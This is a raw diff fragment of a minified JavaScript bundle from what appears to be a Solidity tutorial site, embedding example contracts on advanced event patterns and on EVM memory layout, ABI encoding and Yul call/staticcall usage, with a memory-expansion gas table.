vLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBzdWJzY3JpYmVyTGlzdC5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBJRXZlbnRTdWJzY3JpYmVyKHN1YnNjcmliZXJMaXN0W2ldKS5oYW5kbGVUcmFuc2ZlckV2ZW50KAogICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgdG8sIHZhbHVlCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQp9Cg=="}],uw=`

                        This page covers advanced topics and use cases related to events in Solidity, building upon the basics covered in the Events page.

                        +`,hw=({prev:s,next:a})=>r.jsx(A,{version:tw,title:ow,description:rw,html:gw,prev:s,next:a,codes:iw}),Iw="0.8.24",dw="Events Advanced",Cw="Advanced topics and concepts related to Solidity events",jw=[{fileName:"EventsAdvanced.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4xNDsKCi8vIEV2ZW50LURyaXZlbiBBcmNoaXRlY3R1cmUKY29udHJhY3QgRXZlbnREcml2ZW5BcmNoaXRlY3R1cmUgewogICAgZXZlbnQgVHJhbnNmZXJJbml0aWF0ZWQoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZQogICAgKTsKICAgIGV2ZW50IFRyYW5zZmVyQ29uZmlybWVkKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgdmFsdWUKICAgICk7CgogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyB0cmFuc2ZlckNvbmZpcm1hdGlvbnM7CgogICAgZnVuY3Rpb24gaW5pdGlhdGVUcmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgVHJhbnNmZXJJbml0aWF0ZWQobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICAvLyAuLi4gKGluaXRpYXRlIHRyYW5zZmVyIGxvZ2ljKQogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2ZlcihieXRlczMyIHRyYW5zZmVySWQpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgIXRyYW5zZmVyQ29uZmlybWF0aW9uc1t0cmFuc2ZlcklkXSwgIlRyYW5zZmVyIGFscmVhZHkgY29uZmlybWVkIgogICAgICAgICk7CiAgICAgICAgdHJhbnNmZXJDb25maXJtYXRpb25zW3RyYW5zZmVySWRdID0gdHJ1ZTsKICAgICAgICBlbWl0IFRyYW5zZmVyQ29uZmlybWVkKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIDApOwogICAgICAgIC8vIC4uLiAoY29uZmlybSB0cmFuc2ZlciBsb2dpYykKICAgIH0KfQoKLy8gRXZlbnQgU3Vic2NyaXB0aW9uIGFuZCBSZWFsLVRpbWUgVXBkYXRlcwppbnRlcmZhY2UgSUV2ZW50U3Vic2NyaWJlciB7CiAgICBmdW5jdGlvbiBoYW5kbGVUcmFuc2ZlckV2ZW50KGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB2YWx1ZSkKICAgICAgICBleHRlcm5hbDsKfQoKY29udHJhY3QgRXZlbnRTdWJzY3JpcHRpb24gewogICAgZXZlbnQgTG9nVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludDI1NiB2YWx1ZSk7CgogICAgbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpIHB1YmxpYyBzdWJzY3JpYmVyczsKICAgIGFkZHJlc3NbXSBwdWJsaWMgc3Vic2NyaWJlckxpc3Q7CgogICAgZnVuY3Rpb24gc3Vic2NyaWJlKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKCFzdWJzY3JpYmVyc1ttc2cuc2VuZGVyXSwgIkFscmVhZHkgc3Vic2NyaWJlZCIpOwogICAgICAgIHN1YnNjcmliZXJzW21zZy5zZW5kZXJdID0gdHJ1ZTsKICAgICAgICBzdWJzY3JpYmVyTGlzdC5wdXNoKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHVuc3Vic2NyaWJlKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKHN1YnNjcmliZXJzW21zZy5zZW5kZXJdLCAiTm90IHN1YnNjcmliZWQiKTsKICAgICAgICBzdWJzY3JpYmVyc1ttc2cuc2VuZGVyXSA9IGZhbHNlOwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHN1YnNjcmliZXJMaXN0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzdWJzY3JpYmVyTGlzdFtpXSA9PSBtc2cuc2VuZGVyKSB7CiAgICAgICAgICAgICAgICBzdWJzY3JpYmVyTGlzdFtpXSA9IHN1YnNjcmliZXJMaXN0W3N1YnNjcmliZXJMaXN0Lmxlbmd0aCAtIDFdOwogICAgICAgICAgICAgICAgc3Vic2NyaWJlckxpc3QucG9wKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IHZhbHVlKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIHZhbHVlKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBzdWJzY3JpYmVyTGlzdC5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBJRXZlbnRTdWJzY3JpYmVyKHN1YnNjcmliZXJMaXN0W2ldKS5oYW5kbGVUcmFuc2ZlckV2ZW50KAogICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgdG8sIHZhbHVlCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQp9Cg=="}],Aw=`

                        This page covers advanced topics and use cases related to events in Solidity, building upon the basics covered in the Events page.

                        Events in Solidity are a powerful tool that enables various advanced functionalities and architectures. Some advanced use cases for events include:

                        • Event filtering and monitoring for real-time updates and analytics
                          • @@ -7684,7 +7684,7 @@ assertion probably means that there is a bug.
                        • Events cannot be used in view or pure functions, as they alter the state of the blockchain by storing logs.
                        • Be mindful of the gas cost associated with emitting events, especially when indexing parameters, as it can impact the overall gas consumption of your contract.
                        -`,yw=({prev:s,next:a})=>r.jsx(A,{version:dw,title:Cw,description:jw,html:uw,prev:s,next:a,codes:Aw}),mw="0.8.24",bw="EVM Memory Layout in Solidity",ww="Example of EVM memory in Solidity",kw=[{fileName:"YulMem.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// index     0    1    2   ...   0xfff...fff = 2**256 - 1
// memory | 00 | 00 | 00 | ... | 00 |

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): free memory pointer - pointer to next available location in memory to store data
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written to

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test_1() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }

    function test_2() public pure {
        assembly {
            mstore(0, 0x11)
            // index: 32 bytes of data stored in memory from index
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000011
            mstore(1, 0x22)
            //           0 1
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x2200000000000000000000000000000000000000000000000000000000000000
            mstore(2, 0x33)
            //           0 1 2
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0033000000000000000000000000000000000000000000000000000000000000
            mstore(3, 0x44)
            //           0 1 2 3
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0000440000000000000000000000000000000000000000000000000000000000
        }
    }
}

contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];

        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (bytes32 p, uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            p := arr
            // 0x80
            len := mload(arr)
            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (bytes32 p, uint256[] memory) {
        uint256[] memory arr = new uint256[](0);

        assembly {
            p := arr
            // Store length of arr
            mstore(arr, 3)
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return (p, arr);
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000abababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABabababaBaBABaB;
        return abi.encode(addr);
    }

    // Fixed sized bytes -> zero padded on the righ side
    // 0xaabbccdd00000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function encode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
    //   0000000000000000000000000000000000000000000000000000000000000005
    //   0000000000000000000000000000000000000000000000000000000000000006
    //   0000000000000000000000000000000000000000000000000000000000000007
    //   0000000000000000000000000000000000000000000000000000000000000008
    //   0000000000000000000000000000000000000000000000000000000000000009
    function encode_struct_array() public pure returns (bytes memory) {
        Point[] memory arr = new Point[](3);
        arr[0] = Point(1, 2, 3);
        arr[1] = Point(4, 5, 6);
        arr[2] = Point(7, 8, 9);
        return abi.encode(arr);
    }
}

contract MemReturn {
    function test_return_vals() public pure returns (uint256, uint256) {
        // return(start, len) - Halt execution and return data stored in memory from start to start + len
        assembly {
            mstore(0x80, 11)
            mstore(0xa0, 22)
            return(0x80, 0x40)
        }
    }

    function test_return_dyn_arr() public pure returns (uint256[] memory) {
        // ABI encode uint256[] array with 3 elements 11, 22 and 33
        assembly {
            // offset
            mstore(0x80, 0x20)
            // length
            mstore(add(0x80, 0x20), 3)
            // array elements
            mstore(add(0x80, 0x40), 11)
            mstore(add(0x80, 0x60), 22)
            mstore(add(0x80, 0x80), 33)
            // No need to update free memory pointer - function execution ends here
            return(0x80, mul(5, 0x20))
        }
    }

    function test_return() public pure returns (uint256, uint256) {
        // Returns (11, 22)
        test_return_vals();
        // This code will never execute
        return (333, 444);
    }
}

contract MemRevert {
    function test_revert() public pure {
        // revert(start, len) - Revert execution and return data store in memory from start to start + len
        assembly {
            mstore(0x80, "ERROR HERE")
            revert(0x80, 0x20)
        }
    }

    function test_revert_with_error_msg() public pure {
        assembly {
            let p := mload(0x40)
            // function selector of Error(string)
            // 0x08c379a000000000000000000000000000000000000000000000000000000000
            // 0x08c379a0 is 32 bits, shift left by 224 to make it 256 bits
            // 255 - 31 = 224
            mstore(p, shl(224, 0x08c379a0))
            // String offset
            mstore(add(p, 0x04), 0x20)
            // String length
            mstore(add(p, 0x24), 5)
            // Message (must be less than 32 bytes)
            mstore(add(p, 0x44), "ERROR")
            // function selector + offset + string length + string message
            // = 0x04 + 0x20 + 0x20 + 0x20
            // = 0x64
            revert(p, 0x64)
        }
    }
}

contract MemKeccak {
    function test_keccak() public pure returns (bytes32) {
        // keccak256(start, len) - Keccak256 from data in memory from start to start + len
        assembly {
            mstore(0x80, 1)
            mstore(0xa0, 2)

            let h := keccak256(0x80, 0x40)
            mstore(0xc0, h)

            return(0xc0, 0x20)
        }
    }

    function keccak() public pure returns (bytes32) {
        return keccak256(abi.encodePacked(uint256(1), uint256(2)));
    }
}

contract Target {
    function return_uint256(uint256 x) public pure returns (uint256) {
        return x;
    }

    function return_bytes(uint256 n) public pure returns (bytes memory) {
        bytes memory out = new bytes(n);
        for (uint256 i; i < n; i++) {
            out[i] = 0xab;
        }
        return out;
    }

    function return_uint256_arr(uint256 n)
        public
        pure
        returns (uint256[] memory)
    {
        uint256[] memory out = new uint256[](n);
        for (uint256 i = 0; i < n; i++) {
            out[i] = i + 1;
        }
        return out;
    }
}

// calldatacopy(p, start, size) - Copy start to start + size calldata to memory starting at pointer p
// returndatasize - Get size of returned data from call, staticcall or delegatecall
// returndatacopy(p, start, size) - Copy start to start + size return data to memory starting at pointer p
// call(g, a, v, in, in_size, out, out_size)
// - call contract at a, use max g gas, send v wei
// - with input from memory in to in + in_size
// - use memory out to out + out_size for output
// staticcall(g, a, in, in_size, out, out_size) - read only version of call
contract YulStaticCall {
    function test_staticcall(address a, bytes calldata data) public view {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)

            let ok := staticcall(gas(), a, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // p := mload(0x40)
            let return_data_size := returndatasize()
            // Copy returned data to memory
            // Is it safe to overwrite memory that was used for inputs?
            returndatacopy(p, 0, return_data_size)
            return(p, return_data_size)
        }
    }

    function test_abi_decode_uint256(address a, bytes calldata data)
        public
        view
        returns (uint256)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_bytes(address a, bytes calldata data)
        public
        view
        returns (bytes memory)
    {
        test_staticcall(a, data);
    }

    function test_abi_decode_uint256_arr(address a, bytes calldata data)
        public
        view
        returns (uint256[] memory)
    {
        test_staticcall(a, data);
    }

    function test_staticcall_return_abi_encoded_bytes(
        address addr,
        bytes calldata data
    ) public view returns (bytes memory out, uint256 return_data_size) {
        assembly {
            let p := mload(0x40)
            // Copy calldata to memory
            calldatacopy(p, data.offset, data.length)
            // Update free memory pointer
            mstore(0x40, add(p, data.length))

            let ok := staticcall(gas(), addr, p, data.length, 0, 0)

            if iszero(ok) { revert(0, 0) }

            // return_data_size = 32  for calling Target.return_uint256 -> uint256
            //                  = 96  for calling Target.return_bytes -> bytes[] (32 offset, 32 length, 3 bytes padded to 32)
            //                  = 160 for calling Target.return_uint256_arr -> uint256[] (32 offset, 32 length, 32 x 3 elements)
            return_data_size := returndatasize()
            // Store length of return data to out
            // pointer to out = 0x60 (zero slot)
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }
}

contract Counter {
    uint256 public count;

    function inc() public returns (uint256) {
        count += 1;
        return count;
    }
}

contract YulCall {
    function test_call(address a, bytes memory data)
        public
        payable
        returns (bytes memory out)
    {
        assembly {
            // 0x80
            let data_ptr := data
            // 0x60
            let out_ptr := out

            let data_size := mload(data)
            let data_start := add(data, 0x20)
            let ok := call(gas(), a, callvalue(), data_start, data_size, 0, 0)

            if iszero(ok) { revert(0, 0) }

            let return_data_size := returndatasize()
            // Store length of return data to out
            mstore(out, return_data_size)
            // Copy return data to out
            returndatacopy(add(out, 0x20), 0, return_data_size)
            // Update free memory pointer
            mstore(0x40, add(out, add(0x20, return_data_size)))
        }
    }

    function test_inc(address counter) public returns (uint256 count) {
        bytes memory res = test_call(counter, abi.encodeCall(Counter.inc, ()));
        count = abi.decode(res, (uint256));
    }
}

// Memory expansion gas cost
// Gas cost is quadratic to memory allocation.
contract MemExp {
    function alloc_mem(uint256 n) external view returns (uint256) {
        uint256 gas_start = gasleft();
        uint256[] memory arr = new uint256[](n);
        uint256 gas_end = gasleft();
        return gas_start - gas_end;
    }
}

// arr size | gas
//        0 |    120
//        1 |    178
//       10 |    232
//       20 |    293
//       30 |    354
//       40 |    415
//       50 |    477
//       60 |    540
//       70 |    602
//       80 |    666
//       90 |    729
//      100 |    793
//      110 |    857
//      120 |    922
//      130 |    987
//      140 |   1053
//      150 |   1118
//      160 |   1185
//      170 |   1251
//      180 |   1318
//      190 |   1386
//      200 |   1454

//     1000 |   8144
//     2000 |  20023
//     3000 |  35808
//     4000 |  55500
//     5000 |  79097
//     6000 | 106601
//     7000 | 138011
//     8000 | 173328
//     9000 | 212550
//    10000 | 255679
//    11000 | 302715
//    12000 | 353656
//    13000 | 408504
//    14000 | 467257
//    15000 | 529918
//    16000 | 596484
//    17000 | 666957
//    18000 | 741336
//    19000 | 819621
//    20000 | 901812
"}],Zw=`

                        Examples of

                        +`,uw=({prev:s,next:a})=>r.jsx(A,{version:Iw,title:dw,description:Cw,html:Aw,prev:s,next:a,codes:jw}),yw="0.8.24",mw="EVM Memory Layout in Solidity",bw="Example of EVM memory in Solidity",ww=[{fileName:"YulMem.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

// Memory layout
// array of length 2**256 (32 bytes), each element stores 1 byte (0x00 to 0xff)
// index     0    1    2   ...   0xfff...fff = 2**256 - 1
// memory | 00 | 00 | 00 | ... | 00 |

// Reserved slots
// 0x00 - 0x3f (64 bytes): scratch space for hashing methods
// 0x40 - 0x5f (32 bytes): free memory pointer - pointer to next available location in memory to store data
// 0x60 - 0x7f (32 bytes): zero slot - used as initial value for dynamic memory arrays and should never be written to

// Free memory pointer (0x40)
// 0x80 = Free memory pointer initially points here
contract MemBasic {
    // mstore(p, v) = store 32 bytes to memory starting at memory location p
    // mload(p) = load 32 bytes from memory starting at memory location p
    function test_1() public pure returns (bytes32 b32) {
        assembly {
            // Free memory pointer
            // p = 0x80
            let p := mload(0x40)
            mstore(p, 0xababab)
            b32 := mload(p)
        }
    }

    function test_2() public pure {
        assembly {
            mstore(0, 0x11)
            // index: 32 bytes of data stored in memory from index
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000011
            mstore(1, 0x22)
            //           0 1
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x2200000000000000000000000000000000000000000000000000000000000000
            mstore(2, 0x33)
            //           0 1 2
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0033000000000000000000000000000000000000000000000000000000000000
            mstore(3, 0x44)
            //           0 1 2 3
            //  0x00: 0x0000000000000000000000000000000000000000000000000000000000000000
            //  0x20: 0x0000440000000000000000000000000000000000000000000000000000000000
        }
    }
}

contract MemStruct {
    // Memory data is not packed - all data stored in chunks of 32 bytes
    struct Point {
        uint256 x;
        uint32 y;
        uint32 z;
    }

    function test_read()
        public
        pure
        returns (uint256 x, uint256 y, uint256 z)
    {
        // Point is loaded to memory starting at 0x80
        // 0x80 = initial free memory
        Point memory p = Point(1, 2, 3);

        assembly {
            // load 32 bytes starting from 0x80
            x := mload(0x80)
            // load 32 bytes starting from 0xa0 (0x80 + 32 = 0xa0)
            y := mload(0xa0)
            // load 32 bytes starting from 0xc0 (0xa0 + 32 = 0xc0)
            z := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (bytes32 free_mem_ptr, uint256 x, uint256 y, uint256 z)
    {
        // Allocates memory 0x80 to 0xdf to Point
        // Free memory pointer = 0xdf + 1 = 0xe0
        Point memory p;

        // Write
        assembly {
            // store to 0x80
            mstore(p, 11)
            // store to 0xa0
            mstore(add(p, 0x20), 22)
            // store to 0xc0
            mstore(add(p, 0x40), 33)
            // 0xe0
            free_mem_ptr := mload(0x40)
        }

        x = p.x;
        y = p.y;
        z = p.z;
    }
}

contract MemFixedArray {
    function test_read()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        // arr is loaded to memory starting at 0x80
        // Each array element is stored as 32 bytes
        uint32[3] memory arr = [uint32(1), uint32(2), uint32(3)];

        assembly {
            a0 := mload(0x80)
            a1 := mload(0xa0)
            a2 := mload(0xc0)
        }
    }

    function test_write()
        public
        pure
        returns (uint256 a0, uint256 a1, uint256 a2)
    {
        uint32[3] memory arr;

        assembly {
            // 0x80
            mstore(arr, 11)
            // 0xa0
            mstore(add(arr, 0x20), 22)
            // 0xc0
            mstore(add(arr, 0x40), 33)
        }

        a0 = arr[0];
        a1 = arr[1];
        a2 = arr[2];
    }
}

contract MemDynamicArray {
    function test_read()
        public
        pure
        returns (bytes32 p, uint256 len, uint256 a0, uint256 a1, uint256 a2)
    {
        uint256[] memory arr = new uint256[](5);
        arr[0] = uint256(11);
        arr[1] = uint256(22);
        arr[2] = uint256(33);
        arr[3] = uint256(44);
        arr[4] = uint256(55);

        assembly {
            p := arr
            // 0x80
            len := mload(arr)
            // 0xa0
            a0 := mload(add(arr, 0x20))
            // 0xc0
            a1 := mload(add(arr, 0x40))
            // 0xe0
            a2 := mload(add(arr, 0x60))
        }
    }

    function test_write() public pure returns (bytes32 p, uint256[] memory) {
        uint256[] memory arr = new uint256[](0);

        assembly {
            p := arr
            // Store length of arr
            mstore(arr, 3)
            // Store 1, 2, 3
            mstore(add(arr, 0x20), 11)
            mstore(add(arr, 0x40), 22)
            mstore(add(arr, 0x60), 33)
            // Update free memory pointer
            mstore(0x40, add(arr, 0x80))
        }

        // Data will be ABI encoded when arr is returned to caller
        return (p, arr);
    }
}

contract MemInternalFuncReturn {
    function internal_func_return_val() private pure returns (uint256) {
        return uint256(0xababab);
    }

    function test_val() public pure {
        // 0xababab will be stored in top of the stack
        internal_func_return_val();
    }

    function internal_func_return_mem()
        private
        pure
        returns (bytes32[] memory)
    {
        bytes32[] memory arr = new bytes32[](3);
        arr[0] = bytes32(uint256(0xaaa));
        arr[1] = bytes32(uint256(0xbbb));
        arr[2] = bytes32(uint256(0xccc));
        return arr;
    }

    function test_mem()
        public
        pure
        returns (uint256 len, bytes32 a0, bytes32 a1, bytes32 a2)
    {
        // Stores 0x80 to top of the stack
        // 0x80 = memory pointer to beginning of arr
        internal_func_return_mem();
        // Read data from arr, initialized in internal_func_return_mem, using assembly
        assembly {
            len := mload(0x80)
            a0 := mload(0xa0)
            a1 := mload(0xc0)
            a2 := mload(0xe0)
        }
    }
}

contract ABIEncode {
    // js code to split string into chunks of length 64
    // str.match(/.{1,64}/g)

    // Value types < 32 bytes -> zero padded on the left side
    // 0x000000000000000000000000abababababababababababababababababababab
    function encode_addr() public pure returns (bytes memory) {
        address addr = 0xABaBaBaBABabABabAbAbABAbABabababaBaBABaB;
        return abi.encode(addr);
    }

    // Fixed sized bytes -> zero padded on the righ side
    // 0xaabbccdd00000000000000000000000000000000000000000000000000000000
    function encode_bytes4() public pure returns (bytes memory) {
        bytes4 b4 = 0xaabbccdd;
        return abi.encode(b4);
    }

    // Dynamic size types
    // offset | length | data
    // offset = 32 bytes index where data starts
    // length = 32 bytes data length

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   ababab0000000000000000000000000000000000000000000000000000000000
    function encode_bytes() public pure returns (bytes memory) {
        bytes memory b = new bytes(3);
        b[0] = 0xab;
        b[1] = 0xab;
        b[2] = 0xab;
        return abi.encode(b);
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint8_arr() public pure returns (bytes memory) {
        uint8[] memory a = new uint8[](3);
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Fixed size arrays
    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_uint256_fixed_size_arr()
        public
        pure
        returns (bytes memory)
    {
        uint8[3] memory a;
        a[0] = 1;
        a[1] = 2;
        a[2] = 3;
        return abi.encode(a);
    }

    // Struct
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // 0x0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    function encode_struct() public pure returns (bytes memory) {
        Point memory p = Point(1, 2, 3);
        return abi.encode(p);
    }

    // Dynamic sized array of structs
    // offset | length | struct data
    // 0x0000000000000000000000000000000000000000000000000000000000000020
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000001
    //   0000000000000000000000000000000000000000000000000000000000000002
    //   0000000000000000000000000000000000000000000000000000000000000003
    //   0000000000000000000000000000000000000000000000000000000000000004
